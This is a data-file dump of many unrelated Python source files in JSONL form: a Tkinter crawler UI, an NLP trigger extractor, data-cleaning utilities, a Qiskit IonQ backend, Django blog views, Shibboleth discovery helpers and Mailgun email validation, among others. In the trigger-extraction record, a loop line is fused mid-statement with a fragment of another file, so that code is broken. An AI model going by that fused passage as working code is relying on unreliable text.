self.startButton.place(x = 40, y= 174)\r\n self.stopButton = Button(crawlerFrame, text = '结束爬取', width = 16, height = 2, font = '13', command = Stop(self).run)\r\n self.stopButton.place(x = 220, y= 174)\r\n tabs.add(crawlerFrame, text = '爬虫')\r\n #--------------------------------------------------------------以上为爬虫界面--------------------------------------------------------------------------------------------------\r\n tabs.add(Check(self), text = '查重')\r\n tabs.add(Generate(self), text = '数据可视化')\r\n tabs.add(Search(self), text = '职位推送')\r\n tabs.place(x = 5, y = 5)\r\n\r\n #-----------------------------------------------------------------------------------------------------------------------------------------------------------------\r\n self.text = Text(self, width = 55, height = 29) #Debug显示框\r\n self.text.place(x = 5, y = 265)\r\n self.text.configure(state=DISABLED)\r\n\r\n initWB(self).run()\r\n self.mainloop()\r\n\r\n def log(self, msg):\r\n print(msg)\r\n self.text.configure(state=NORMAL)\r\n self.text.insert(END, msg + '\\n')\r\n self.text.configure(state=DISABLED)\r\n self.text.see(END)\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n MainUi()\r\n","sub_path":"UI.py","file_name":"UI.py","file_ext":"py","file_size_in_byte":11956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"644601615","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Nov 5 13:46:08 2017\n\n@author: Administrator\n\"\"\"\n\nimport xlrd\nimport os\nfrom gensim.models.keyedvectors import KeyedVectors\n\n#from openpyxl import Workbook\n\n#!!!!注意这里的sentence应为列表型\n#!!!!这里未考虑两个词和触发词集相似度相同的情况(之后修改可以加上这种情况,若相同或者相差不大,可以根a1文档提供的蛋白质信息得到\n\n\ndef get_trigger(trigger_type_number,prediction_test,test_count):\n trigger_types=[]\n trigger_types.append('Gene_expression')\n trigger_types.append('Transcription')\n trigger_types.append('Protein_catabolism')\n trigger_types.append('Localization')\n trigger_types.append('Binding')\n trigger_types.append('Phosphorylation')\n trigger_types.append('Regulation')\n trigger_types.append('Positive_regulation')\n trigger_types.append('Negative_regulation')\n trigger_types.append('Entity')\n trigger_word='None'\n index=0\n #\"F:\\\\code_project1\\\\code2.0\\\\data_09\\\\training_data\\\\training_dataClass\\\\train_trigger.xlsx\"\n #\"F:\\\\code_project1\\\\code2.0\\\\data_09\\\\test_data\\\\training_dataClass\\\\trainClass_\"+str(trigger_type_number)+\".xlsx\"\n #origin_excel= xlrd.open_workbook(\"./data_09/training_data/training_dataClass/train_trigger.xlsx\")\n #test_excel = xlrd.open_workbook(\"./data_09/test_data/training_dataClass/trainClass_\"+str(trigger_type_number)+\".xlsx\")\n origin_excel= xlrd.open_workbook(\"F:\\\\code_project1\\\\code2.0\\\\data_09\\\\training_data\\\\training_dataClass\\\\train_trigger.xlsx\")\n test_excel = xlrd.open_workbook(\"F:\\\\code_project1\\\\code2.0\\\\data_09\\\\test_data\\\\new_testdata\\\\testClassnew_\"+str(trigger_type_number)+\".xlsx\")\n table = origin_excel.sheet_by_name('Sheet')\n table_test = test_excel.sheet_by_name('Sheet')\n\n name=locals()\n name['class_trigger_type%s' %trigger_type_number] = table.cell(trigger_type_number,2).value.split(',')\n \n #'F:\\\\code_project1\\\\code2.0\\\\model\\\\300features_40minwords_10context.bin'\n #model = KeyedVectors.load_word2vec_format('./model/300features_40minwords_10context.bin', binary=True)\n model = KeyedVectors.load_word2vec_format('F:\\\\code_project1\\\\code2.0\\\\model\\\\300features_40minwords_10context.bin', binary=True)\n \n \n k=1\n #初始化标记列表,代表每个句子中还未出现当前类型的触发词\n sentence_flag=[]\n trigger_index=[]\n sentence_before=[]\n for l in range(300000):\n sentence_flag.append(0)\n trigger_index.append([])\n sentence_before.append([])\n trigger_words=[]\n last_sentence_num = 0\n while k<=test_count:\n sentence=table_test.cell(k,1).value \n txt_num = int(table_test.cell(k,3).value)\n sentence_num = int(table_test.cell(k,2).value)\n if(prediction_test[k-1]==0):\n type_=1\n else:\n type_=0\n #type_代表当前句子中是否存在当前类的触发词\n #若当前句子无所需触发词,则continue读下一个句子\n if(type_ == 0):\n trigger_words.append('NONE')\n k=k+1\n continue\n \n #当前句子存在所需触发词,则先判断是否这个句子在之前已经标记过\n #若已标记则证明该句子存在不止一个触发词,则将其之前的触发词找到,并从句子中删去\n sentence = sentence.split(' ')\n words=[]\n\n words_=[]\n for wordTag in sentence:\n if(wordTag!=''):\n index = wordTag.index('/')\n word = wordTag[:index]\n words_.append(word)\n else:\n continue\n \n similars=[]\n if(sentence_flag[txt_num*1000+sentence_num]==0):\n sentence_flag[txt_num*1000+sentence_num]=1\n triggerindex_before=-1\n else: \n triggerindex_before=trigger_index[txt_num*1000+sentence_num][-1]\n sentence=sentence_before[txt_num*1000+sentence_num]\n sentence_flag[txt_num*1000+sentence_num] = sentence_flag[txt_num*1000+sentence_num]+1\n triggerword_before = trigger_word\n #'./a2result/'\n if(os.path.exists('F:\\\\code_project1\\\\code2.0\\\\data_09\\\\test_data\\\\new_testdata\\\\a2result'+str(txt_num)+'.txt')):\n fs = open('F:\\\\code_project1\\\\code2.0\\\\data_09\\\\test_data\\\\new_testdata\\\\a2result'+str(txt_num)+'.txt','a')\n else:\n fs = open('F:\\\\code_project1\\\\code2.0\\\\data_09\\\\test_data\\\\new_testdata\\\\a2result'+str(txt_num)+'.txt','w')\n fs.write(trigger_types[trigger_type_number-1]+',')\n\n for word_tag in sentence:\n if(word_tag!=''):\n index = word_tag.index('/')\n word = word_tag[:index]\n words.append(word)\n similarity = 0\n i=0\n while i np.max(df['date']) - datetime.timedelta(days=366)]\n return df\n\n\ndef clean_crowdtangle_url_data(post_url_df):\n\n post_url_df = post_url_df[post_url_df[\"platform\"] == \"Facebook\"]\n post_url_df = post_url_df.dropna(subset=['account_id', 'url'])\n\n post_url_df = post_url_df.sort_values(by=['datetime'], ascending=True)\n post_url_df = post_url_df.drop_duplicates(subset=['account_id', 'url'], keep='first')\n post_url_df['account_id'] = post_url_df['account_id'].astype(int)\n\n post_url_df = post_url_df[['url', 'account_id', 'account_name', 'account_subscriber_count', 'date']]\n\n return post_url_df\n","sub_path":"code/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"78781510","text":"from pkg_resources import resource_filename\nfrom gftools.axes_pb2 import AxisProto, FallbackProto\nfrom google.protobuf import text_format\nfrom glob import glob\nimport os\n\n\n__all__ = [\"axis_registry\"]\n\n\ndef AxisRegistry():\n \"\"\"Parse all axes in the Google Fonts axis registry\"\"\"\n results = {}\n axis_reg_dir = resource_filename(\"gftools\", \"axisregistry\")\n proto_files = glob(os.path.join(axis_reg_dir, \"*.textproto\"))\n for proto_file in proto_files:\n axis = AxisProto()\n with open(proto_file, \"rb\") as textproto:\n text_format.Parse(textproto.read(), axis)\n results[axis.tag] = axis\n # Remove spaces from names\n for fallback in results[axis.tag].fallback:\n fallback.name = fallback.name.replace(\" \", \"\")\n return results\n\n\naxis_registry = AxisRegistry()\n","sub_path":"Lib/gftools/axisreg.py","file_name":"axisreg.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"444780495","text":"\"\"\"\n 练习:自学其他算数运算符与增强运算符重载\n - -=\n * *=\n 创建新对象 返回原对象\n\"\"\"\n\n\nclass Vector2:\n \"\"\"\n 二维向量\n \"\"\"\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n\n def __multiplication(self, other):\n if type(other) == Vector2:\n x = self.x * other.x\n y = self.y * other.y\n else: # 默认为int类型\n x = self.x * other\n y = self.y * other\n return x, y\n\n def __mul__(self, other):\n x, y = self.__multiplication(other)\n # 返回新对象\n return Vector2(x, y)\n\n def __imul__(self, other):\n x, y = self.__multiplication(other)\n # 返回原对象\n self.x = x\n self.y = y\n return self\n\n\npos01 = Vector2(1, 2)\npos02 = Vector2(3, 4)\npos03 = pos01 * pos02 # pos01.__mul__(pos02)\nprint(pos03.__dict__) #\n\npos04 = pos01 * 2\nprint(pos04.__dict__) #\n\npos01 *= pos02\nprint(pos01.__dict__) #\n\npos01 *= 2\nprint(pos01.__dict__) #\n","sub_path":"month_01/teacher/day12/exercise02.py","file_name":"exercise02.py","file_ext":"py","file_size_in_byte":1080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"73507586","text":"import requests\nimport json\nimport sys\nimport datetime\n\ncolnames = [\"time\",\n \"summary\",\n \"precipIntensity\",\n \"precipProbability\",\n \"temperature\",\n \"apparentTemperature\",\n \"dewPoint\",\n \"humidity\",\n \"windSpeed\",\n \"windBearing\",\n \"visibility\",\n \"pressure\"]\n\ndaysInMonth = {1:31,2:28,3:31,4:30,5:31,6:30,7:31,8:31,9:30,10:31,11:30,12:31}\n \nyr=2013\nstartmonth=12\nstartday=29\nendmonth=12\nendday=31\n\nhourlist = []\nmonthlist = [i+startmonth for i in range(endmonth+1-startmonth)]\nfor month in monthlist:\n if month == startmonth:\n daylist = [i+startday for i in range(daysInMonth[month]+1-startday)]\n for day in daylist:\n for hr in range(24):\n timeobj = datetime.datetime(yr,month,day,hr)\n hourlist.append(timeobj.strftime('%Y-%m-%dT%H:00:00'))\n elif month == endmonth:\n daylist = [i+1 for i in range(endday)]\n for day in daylist:\n for hr in range(24):\n timeobj = datetime.datetime(yr,month,day,hr)\n hourlist.append(timeobj.strftime('%Y-%m-%dT%H:00:00'))\n else:\n daylist = [i+1 for i in range(daysInMonth[month])]\n for day in daylist:\n for hr in range(24):\n timeobj = datetime.datetime(yr,month,day,hr)\n hourlist.append(timeobj.strftime('%Y-%m-%dT%H:00:00'))\n \n# print(hourlist)\n\nf = open('weather2013_2.csv', 'a')\n#f.write(','.join(colnames) + '\\n')\n\nkey = 'api_key'\n\nrequests.packages.urllib3.disable_warnings()\nlat = '40.7127'\nlon = '-74.0059'\n#daytime = '2013-03-09T21:00:00'\n\nfor daytime in hourlist:\n r = requests.get('https://api.forecast.io/forecast/{}/{},{},{}'.format(key, lat, lon, daytime))\n data = json.loads(r.text)\n data[\"currently\"][\"time\"] = datetime.datetime.fromtimestamp(data[\"currently\"][\"time\"]).strftime('%Y-%m-%d %H:%M:%S')\n for j in colnames:\n if j not in data[\"currently\"].keys():\n data[\"currently\"][j] = ''\n f.write(','.join([str(data['currently'][i]) for i in colnames]) + '\\n')\n print(daytime)\nf.close()\n\n","sub_path":"weatherapi.py","file_name":"weatherapi.py","file_ext":"py","file_size_in_byte":1953,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"381040570","text":"import dbm\n#import dbm.gnu#ModuleNotFoundError: No module named '_gdbm'\n\nwith dbm.gnu.open('cache_gnu', 'c') as db:#AttributeError: module 'dbm' has no attribute 'gnu'\n db[b'hello'] = b'there'\n db['www.python.org'] = 'Python Website'\n db['www.cnn.com'] = 'Cable News Network'\n assert db[b'www.python.org'] == b'Python Website'\n assert db['www.cnn.com'] == b'Cable News Network'\n print(db.get('python.org', b'not present'))\n# db['www.yahoo.com'] = 4\n\n print(db.firstkey())\n k = db.firstkey()\n while k != None:\n print(k)\n k = db.nextkey(k)\n\n #大量の削除を実行した後、gdbm ファイルの占めるスペースを削減したい場合、このルーチンはデータベースを再組織化します。\n# db.reorganize()\n","sub_path":"26/01/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"258098674","text":"# -*- coding: utf-8 -*-\n# This code is part of Qiskit.\n#\n# (C) Copyright IBM 2017, 2018.\n#\n# This code is licensed under the Apache License, Version 2.0. You may\n# obtain a copy of this license in the LICENSE.txt file in the root directory\n# of this source tree or at http://www.apache.org/licenses/LICENSE-2.0.\n#\n# Any modifications or derivative works of this code must retain this\n# copyright notice, and modified files need to carry a notice indicating\n# that they have been altered from the originals.\n\n# Copyright 2020 IonQ, Inc. (www.ionq.com)\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"IonQ provider backends.\"\"\"\n\nfrom qiskit.providers import BaseBackend\nfrom qiskit.providers.models import BackendConfiguration\n\nfrom . import exceptions, ionq_client, ionq_job\n\n\nclass IonQBackend(BaseBackend):\n \"\"\"IonQ Backend base class.\"\"\"\n\n _client = None\n\n @property\n def client(self):\n \"\"\"A lazily populated IonQ API Client.\n\n Returns:\n IonQClient: An instance of a REST API client\n \"\"\"\n if self._client is None:\n self._client = self.create_client()\n return self._client\n\n def create_client(self):\n \"\"\"Create an IonQ REST API Client using provider credentials.\n\n Raises:\n IonQCredentialsError: If the provider's\n :attr:`credentials ` does not have\n a ``\"token\"`` or ``\"url\"`` key, or if their values are ``None``.\n\n Returns:\n IonQClient: An instance of a REST API client.\n \"\"\"\n credentials = self._provider.credentials\n\n try:\n token = credentials[\"token\"]\n except KeyError as ex:\n raise exceptions.IonQCredentialsError(\n \"Credentials `token` not present in provider.\"\n ) from ex\n\n if token is None:\n raise exceptions.IonQCredentialsError(\"Credentials `token` may not be None!\")\n\n try:\n url = credentials[\"url\"]\n except KeyError as ex:\n raise exceptions.IonQCredentialsError(\n \"Credentials `url` not present in provider.\"\n ) from ex\n\n if url is None:\n raise exceptions.IonQCredentialsError(\"Credentials `url` may not be None!\")\n\n return ionq_client.IonQClient(token, url)\n\n # pylint: disable=missing-type-doc,missing-param-doc,arguments-differ\n def run(self, circuit, shots=1024):\n \"\"\"Create and run a job on an IonQ Backend.\n\n Args:\n circuit (:class:`QuantumCircuit `):\n A Qiskit QuantumCircuit object.\n shots (int): The number of shots to evaluate.\n\n Returns:\n IonQJob: A reference to the job that was submitted.\n \"\"\"\n passed_args = {\"shots\": shots}\n job = ionq_job.IonQJob(\n self,\n None,\n self.client,\n circuit=circuit,\n passed_args=passed_args,\n )\n job.submit()\n return job\n\n def retrieve_job(self, job_id):\n \"\"\"get a job from a specific backend, by job id.\"\"\"\n return ionq_job.IonQJob(self, job_id, self.client)\n\n def retrieve_jobs(self, job_ids):\n \"\"\"get a list of jobs from a specific backend, job id \"\"\"\n\n return [ionq_job.IonQJob(self, job_id, self.client) for job_id in job_ids]\n\n # TODO: Implement backend status checks.\n def status(self):\n \"\"\"Not yet implemented.\n\n Raises:\n NotImplementedError: This behavior is not currently supported.\n \"\"\"\n raise NotImplementedError(\"Backend status check is not supported.\")\n\n\nclass IonQSimulatorBackend(IonQBackend):\n \"\"\"IonQ Backend for running simulated jobs.\"\"\"\n\n def __init__(self, provider):\n \"\"\"Base class for interfacing with an IonQ backend\"\"\"\n config = BackendConfiguration.from_dict(\n {\n \"backend_name\": \"ionq_simulator\",\n \"backend_version\": \"0.0.1\",\n \"simulator\": True,\n \"local\": False,\n \"coupling_map\": None,\n \"description\": \"IonQ simulator\",\n \"basis_gates\": [\n \"x\",\n \"y\",\n \"z\",\n \"rx\",\n \"ry\",\n \"rz\",\n \"h\",\n \"not\",\n \"cnot\",\n \"cx\",\n \"s\",\n \"si\",\n \"t\",\n \"ti\",\n \"v\",\n \"vi\",\n \"xx\",\n \"yy\",\n \"zz\",\n \"swap\",\n ],\n \"memory\": False,\n \"n_qubits\": 29,\n \"conditional\": False,\n \"max_shots\": 10000,\n \"max_experiments\": 1,\n \"open_pulse\": False,\n \"gates\": [{\"name\": \"TODO\", \"parameters\": [], \"qasm_def\": \"TODO\"}],\n }\n )\n super().__init__(configuration=config, provider=provider)\n\n\nclass IonQQPUBackend(IonQBackend):\n \"\"\"IonQ Backend for running qpu-based jobs.\"\"\"\n\n def __init__(self, provider):\n config = BackendConfiguration.from_dict(\n {\n \"backend_name\": \"ionq_qpu\",\n \"backend_version\": \"0.0.1\",\n \"simulator\": False,\n \"local\": False,\n \"coupling_map\": None,\n \"description\": \"IonQ QPU\",\n \"basis_gates\": [\n \"x\",\n \"y\",\n \"z\",\n \"rx\",\n \"ry\",\n \"rz\",\n \"h\",\n \"not\",\n \"cnot\",\n \"cx\",\n \"s\",\n \"si\",\n \"t\",\n \"ti\",\n \"v\",\n \"vi\",\n \"xx\",\n \"yy\",\n \"zz\",\n \"swap\",\n ],\n \"memory\": False,\n \"n_qubits\": 11,\n \"conditional\": False,\n \"max_shots\": 10000,\n \"max_experiments\": 1,\n \"open_pulse\": False,\n \"gates\": [{\"name\": \"TODO\", \"parameters\": [], \"qasm_def\": \"TODO\"}],\n }\n )\n super().__init__(configuration=config, provider=provider)\n\n\n__all__ = [\"IonQBackend\", \"IonQQPUBackend\", \"IonQSimulatorBackend\"]\n","sub_path":"qiskit_ionq_provider/ionq_backend.py","file_name":"ionq_backend.py","file_ext":"py","file_size_in_byte":7069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"505098029","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Oct 17 14:39:17 2018\r\n\r\n@author: AmyJade\r\n\"\"\"\r\n\r\n#CSM0120 PROGRAMMING FOR SCIENTISTS - PRACTICAL 2\r\n\r\nimport random\r\n\r\n##1\r\nnumber1 = input('Enter a number: \\n')\r\nnumber2 = input('Enter another number: \\n')\r\n\r\nproduct = int(number1) * int(number2)\r\nprint('The product of both numbers is ' + str(product) + '\\n')\r\n\r\n##2\r\nx = 3\r\n\r\n#three times tables\r\nfor i in range(1, 13):\r\n print(str(x) + ' times ' + str(i) + ' is ' + str(i*x))\r\n\r\n#all times tables from 1 to 12\r\nfor i in range(1, 13):\r\n for x in range(1, 13):\r\n print(str(x) + ' times ' + str(i) + ' is ' + str(i*x))\r\n \r\n\r\n##3\r\ntowns = [] #empty list\r\nfor i in range(1, 6):\r\n town = input('Enter a town in Wales: ')\r\n towns.append(town)\r\n \r\nprint(sorted(towns))\r\n\r\n##4\r\nDNA_String = []\r\n\r\nfor i in range(1, 101):\r\n c = random.choice(['A', 'C', 'G', 'T'])\r\n DNA_String.append(c)\r\n\r\nprint(DNA_String) #Characters in a list\r\nprint(''.join(DNA_String)) #Printing as a string\r\n\r\n##5\r\nsentence = input('Please enter a sentence: ')\r\nvowels = ['a', 'e', 'i', 'o', 'u']\r\n\r\nfor c in sentence:\r\n if c not in vowels:\r\n print(c)\r\n\r\n##6\r\n #The function chr() will produce the character that corresponds\r\n #to an ASCII numeric value i.e. 'A' is 65, 'B' is 66\r\nletters = []\r\nfor num in range(65, 91):\r\n letters.append(chr(num))\r\n\r\nrlist = random.sample(letters, 10)\r\n\r\nprint('Here is the list of random letters: ' + str(rlist))\r\nword = input('Type a word that can be made from the letters: ')\r\n\r\nif len(word) < 3:\r\n print('Word is less than three characters')\r\n\r\n#b not finished\r\n#c not finished\r\n \r\n##7\r\n#Not finished","sub_path":"Practical2.py","file_name":"Practical2.py","file_ext":"py","file_size_in_byte":1668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"455083346","text":"import json\nimport requests\n\nfrom base64 import b64decode, b64encode\nfrom datetime import datetime\nfrom datetime import timedelta\n\nfrom django.conf import settings\nfrom django.core.cache import cache\nfrom django.utils import translation\n\ndef b64decode_idp(idp):\n \"\"\"\n Decodes an idp from base64 to string\n :param idp: base64 encoded string object\n :return: string object\n \"\"\"\n return str(b64decode(idp.encode('utf-8')), 'utf-8')\n\ndef b64encode_idp(idp):\n \"\"\"\n Encodes an idp from base64 to string\n :param idp: string object\n :return: base64 encoded string object\n \"\"\"\n return str(b64encode(idp.encode('utf-8')), 'utf-8')\n\ndef get_feed_by_url(url):\n \"\"\"\n This fetches the feed from a given URL\n :param url: A (valid) URL\n :return: DiscoFeed as python object\n \"\"\"\n try:\n r = requests.get(\n url,\n timeout=5\n )\n return r.json()\n except:\n raise Exception(\"Could not reach DiscoFeed or received invalid JSON\")\n\ndef get_feed_by_path(path):\n \"\"\"\n This fetches the feed from a given path\n :param path: Full path to file\n :return: DiscoFeed as python object\n \"\"\"\n try:\n with open(path, 'r') as fin:\n return json.load(fin)\n except:\n raise Exception(\"Could not read file or received invalid JSON\")\n\n\ndef get_feed():\n \"\"\"\n This fetches the feed, either from a file or a remote\n :return: DiscoFeed as python object\n \"\"\"\n if settings.SHIB_DS_DISCOFEED_URL:\n return get_feed_by_url(settings.SHIB_DS_DISCOFEED_URL)\n\n if settings.SHIB_DS_DISCOFEED_PATH:\n return get_feed_by_path(settings.SHIB_DS_DISCOFEED_PATH)\n\n\ndef get_largest_logo(logos):\n \"\"\"\n Given a list of logos, this one finds the largest in terms of perimeter\n :param logos: List of logos\n :return: Largest logo or None\n \"\"\"\n if len(logos) >= 1:\n logo = max(logos, key=lambda x: int(x.get('height', 0)) + int(x.get('width', 0))).get('value')\n return logo\n\n\ndef prepare_data():\n \"\"\"\n This function prepares the data.\n The strategy is the following:\n We assign to each IdP a unique id (integer).\n Then we create two lists\n The first one containes structered informationen about the IdP (entityId, name, logo)\n The second one is for easyily finding matches\n :return: Tuple containing the DiscoFeed and list of names\n \"\"\"\n feed = get_feed()\n\n idps = [\n {\n 'entity_id' : idp.get('entityID'),\n 'name' : {\n entry.get('lang'):entry.get('value') for entry in idp.get('DisplayNames', [])\n },\n 'description' : {\n entry.get('lang'):entry.get('value') for entry in idp.get('Descriptions', [])\n },\n 'logo' : get_largest_logo(idp.get('Logos', []))\n\n }\n for idp in feed\n ]\n\n index = [' '.join(idp.get('name', {}).values()).strip().lower() for idp in idps]\n\n return (idps, index)\n\n\ndef localize_idp(idp):\n \"\"\"\n Localizes a given IdP, e.g. try to set a locale string. Else English string is used\n :param idp: IdP as prepared by prepare_data\n :return: IdP with local names\n \"\"\"\n language = translation.get_language()\n idp['name'] = idp.get('name', {}).get(language, idp.get('name', {}).get('en', ''))\n idp['description'] = idp.get('description', {}).get(language, idp.get('description', {}).get('en', ''))\n return idp\n\n\ndef search(tokens):\n \"\"\"\n Searches in the cached index after the tokens and returns the localized result\n :param tokens: list of token (empty token matches)\n :return: list of entityIds\n \"\"\"\n # No token shall lead to no result\n if not tokens:\n return []\n\n tokens = [token.lower().strip() for token in tokens]\n\n idps, index = get_or_set_cache()\n\n result = [localize_idp(idp) for idp, idx in zip(idps, index) if all(token in idx for token in tokens)]\n\n return result\n\n\ndef get_recent_idps(request):\n \"\"\"\n Returns a list of recent IdPs formatted by SHIB_DS_POST_PROCESSOR\n \"\"\"\n saved_idps = [b64decode_idp(idp) for idp in request.COOKIES.get(settings.SHIB_DS_COOKIE_NAME, '').split(' ') if idp]\n\n idps, index = get_or_set_cache()\n\n recent_idps = settings.SHIB_DS_POST_PROCESSOR(\n [\n localize_idp(idp) for idp in idps\n if any(saved_idp == idp.get('entity_id') for saved_idp in saved_idps)\n ]\n )\n return recent_idps\n\n\ndef get_context(request):\n \"\"\"\n Takes a request and returns a dictionary containing some information for context\n \"\"\"\n shib_ds = {\n 'recent_idps' : get_recent_idps(request),\n 'return_id_param' : settings.SHIB_DS_RETURN_ID_PARAM,\n 'sp_url' : settings.SHIB_DS_SP_URL,\n 'next' : request.GET.get('next', ''),\n }\n return shib_ds\n\n\ndef set_cookie(response, request, entity_id):\n \"\"\"\n Adds a cookie to the given response\n \"\"\"\n idps = [b64decode_idp(idp) for idp in request.COOKIES.get(settings.SHIB_DS_COOKIE_NAME, '').split(' ') if idp]\n # We delete the entity_id / IdP from the list and then append the list to our new entity id.\n # This way, the new entity id is the first\n try:\n idps.remove(entity_id)\n except ValueError:\n pass\n\n idps = [b64encode_idp(idp) for idp in [entity_id] + idps]\n\n response.set_cookie(\n settings.SHIB_DS_COOKIE_NAME,\n value=' '.join(idps[:settings.SHIB_DS_MAX_IDP]),\n expires=datetime.now() + timedelta(days=365),\n )\n\ndef set_cache():\n \"\"\"\n This is a shortcut that includes shibboleth discovery specific parameters\n \"\"\"\n cache.set(\n 'shib_ds',\n prepare_data(),\n timeout=settings.SHIB_DS_CACHE_DURATION\n )\n\ndef get_or_set_cache():\n \"\"\"\n This is a shortcut that includes shibboleth discovery specific parameters\n It returns the idps and the index\n \"\"\"\n idps, index = cache.get_or_set(\n 'shib_ds',\n prepare_data,\n timeout=settings.SHIB_DS_CACHE_DURATION\n )\n\n return idps, index\n","sub_path":"shibboleth_discovery/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":6048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"150488265","text":"from django.shortcuts import render, get_object_or_404, redirect\nfrom django.contrib.auth.decorators import login_required\nfrom django.utils import timezone\nfrom blogapp.models import Post, Comment\nfrom blogapp.forms import PostForm, CommentForm, UserForm\nfrom django.contrib.auth.models import User\nfrom django.views.generic import (TemplateView,ListView,\n DetailView,CreateView,\n UpdateView,DeleteView)\n\nfrom django.urls import reverse_lazy\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.core.paginator import Paginator\n\n# Create your views here.\n\nclass AboutView(TemplateView):\n template_name = 'blogapp/about.html'\n\n\nclass PostListView(ListView):\n model = Post\n paginate_by = 2\n def get_queryset(self):\n return Post.objects.filter(published_date__lte=timezone.now()).order_by('-published_date')\n\n\nclass PostDetailView(DetailView):\n model = Post\n\n\nclass CreatePostView(LoginRequiredMixin,CreateView):\n login_url = '/login/'\n redirect_field_name = 'blogapp/post_detail.html'\n\n form_class = PostForm\n\n model = Post\n\n\nclass PostUpdateView(LoginRequiredMixin,UpdateView):\n login_url = '/login/'\n redirect_field_name = 'blogapp/post_detail.html'\n\n form_class = PostForm\n\n model = Post\n\n\nclass PostDeleteView(LoginRequiredMixin,DeleteView):\n model = Post\n success_url = reverse_lazy('post_list')\n\n\nclass DraftListView(LoginRequiredMixin,ListView):\n login_url = '/login/'\n redirect_field_name = 'blogapp/post_draft_list.html'\n\n model = Post\n\n def get_queryset(self):\n return Post.objects.filter(published_date__isnull=True).order_by('created_date')\n\n\n\ndef register(request):\n registered = False\n if request.method == 'POST':\n\n # Get info from \"both\" forms\n # It appears as one form to the user on the .html page\n user_form = UserForm(data=request.POST)\n\n # Check to see both forms are valid\n if user_form.is_valid():\n # Save User Form to Database\n user = user_form.save()\n # Hash the password\n user.set_password(user.password)\n # Update with Hashed password\n user.save()\n # Registration Successful!\n registered = True\n\n else:\n # One of the forms was invalid if this else gets called.\n print(user_form.errors)\n\n else:\n # Was not an HTTP post so we just render the forms as blank.\n user_form = UserForm()\n # This is the render and context dictionary to feed\n # back to the registration.html file page.\n return render(request,'blogapp/signup.html',{'user_form':user_form,'registered':registered})\n\n\n#######################################\n## Functions that require a pk match ##\n#######################################\n\n@login_required\ndef post_publish(request, pk):\n post = get_object_or_404(Post, pk=pk)\n post.publish()\n return redirect('post_detail', pk=pk)\n\n@login_required\ndef add_comment_to_post(request, pk):\n post = get_object_or_404(Post, pk=pk)\n if request.method == \"POST\":\n form = CommentForm(request.POST)\n if form.is_valid():\n comment = form.save(commit=False)\n comment.post = post\n comment.save()\n return redirect('post_detail', pk=post.pk)\n else:\n form = CommentForm()\n return render(request, 'blogapp/comment_form.html', {'form': form})\n\n\n@login_required\ndef comment_approve(request, pk):\n comment = get_object_or_404(Comment, pk=pk)\n comment.approve()\n return redirect('post_detail', pk=comment.post.pk)\n\n\n@login_required\ndef comment_remove(request, pk):\n comment = get_object_or_404(Comment, pk=pk)\n post_pk = comment.post.pk\n comment.delete()\n return redirect('post_detail', pk=post_pk)\n","sub_path":"blog/blogapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"121426046","text":"from django.conf import settings\nfrom django.core.mail import EmailMultiAlternatives\nfrom django.template.loader import render_to_string\nfrom django.utils import translation\nfrom django.utils.translation import gettext_lazy as _\n\nimport requests\n\nimport structlog\n\nlogger = structlog.get_logger()\n\n\ndef validate_email(address, mailbox_verification=None):\n if not address:\n return False, _(\"Please enter a valid email address\")\n if any(domain in address.casefold() for domain in settings.BLOCKED_EMAIL_DOMAINS):\n domain = address.rsplit(\"@\", 1)[-1]\n return False, _(\n \"We have issues sending emails to {domain} based emails. \"\n \"They get blocked. \"\n \"Please use another email service like Yahoo or private domain email.\"\n ).format(domain=domain)\n params = {\n \"address\": address,\n \"api_key\": settings.MAILGUN_PUBLIC_API_KEY,\n }\n if mailbox_verification is None:\n mailbox_verification = settings.VALIDATE_EMAILS_MAILBOXES\n if mailbox_verification:\n params[\"mailbox_verification\"] = \"true\"\n resp = requests.get(\"https://api.mailgun.net/v2/address/validate\", params=params)\n if resp.status_code != 200:\n logger.bind(status=resp.status_code, response=resp.text)\\\n .error(\"Mailgun API error during email validation\")\n return True, \"\"\n data = resp.json()\n is_valid = data.get(\"is_valid\", False)\n suggestion = data.get(\"did_you_mean\", \"\")\n if not is_valid:\n info = _(\"Please enter a valid email address\")\n elif data.get(\"is_disposable_address\", False):\n is_valid = False\n info = _(\"Please don't use disposable email services. We won't be able to reach to you.\")\n elif data.get(\"mailbox_verification\", None) == \"false\": # Note, it's \"false\", not False\n # Possible values for mailbox_verification are \"true\", \"false\", \"unknown\" and None.\n # For simplicity's sake let's treat anything but \"false\" (known-invalid) as acceptable here.\n is_valid = False\n info = _(\"Please enter a valid email address\")\n elif suggestion:\n is_valid = True\n info = _(\"Did you mean {suggestion}?\").format(suggestion=suggestion)\n else:\n is_valid = 